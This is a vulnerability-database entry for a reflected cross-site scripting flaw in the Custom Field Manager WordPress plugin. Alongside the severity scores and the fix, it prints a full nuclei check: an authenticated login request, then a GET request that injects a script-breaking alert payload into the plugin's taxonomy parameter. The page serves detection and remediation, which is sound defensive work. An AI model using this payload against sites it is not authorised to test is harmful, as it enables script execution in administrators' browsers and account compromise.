Browse / CVEs / CVE-2024-12873
CVE-2024-12873· f1logic / custom field manager· CWE-79
Custom Field Manager WordPress - Cross-Site Scripting
mediumseverity
6.1CVSS score
0.6%likelihood of exploitation, next 30 days
49%of all CVEs are less likely
Readycheck to confirm it
Custom Field Manager WordPress plugin through 1.0 contains a reflected XSS caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires crafted request.
Impact
Attackers can execute scripts in admin users' browsers, potentially leading to account compromise or unauthorized actions.
Fix
Update to the latest version with proper sanitization and escaping.
How to confirm it
Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=custom-field-manager-customfields&taxonomy=testxss%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cscript%3E
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "</script><script>alert(document.domain)</script><script>","custom-field-manager")Run it with nuclei: nuclei -id CVE-2024-12873 -u <target>
The full check
id: CVE-2024-12873
info:
name: Custom Field Manager WordPress - Cross-Site Scripting
author: Sourabh-Sahu
severity: medium
description: |
Custom Field Manager WordPress plugin through 1.0 contains a reflected XSS caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires crafted request.
impact: |
Attackers can execute scripts in admin users' browsers, potentially leading to account compromise or unauthorized actions.
remediation: |
Update to the latest version with proper sanitization and escaping.
reference:
- https://wpscan.com/vulnerability/3e82d45f-7b8f-424e-a8d7-be64f5acf65e/
- https://nvd.nist.gov/vuln/detail/CVE-2024-12873
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-12873
cwe-id: CWE-79
epss-score: 0.00589
epss-percentile: 0.48493
cpe: cpe:2.3:a:f1logic:custom_field_manager:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: f1logic
product: custom_field_manager
tags: cve,cve2024,f1logic,custom-field-manager,authenticated,wordpress,wp,wp-plugin,xss
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=
matchers:
- type: dsl
dsl:
- contains(header, "wordpress_logged_in")
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=custom-field-manager-customfields&taxonomy=testxss%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cscript%3E HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(content_type, "text/html")
- contains_all(body, "</script><script>alert(document.domain)</script><script>","custom-field-manager")
condition: andReferences
- https://wpscan.com/vulnerability/3e82d45f-7b8f-424e-a8d7-be64f5acf65e/
- https://nvd.nist.gov/vuln/detail/CVE-2024-12873
Use this check only on systems you are authorised to test. Where the data comes from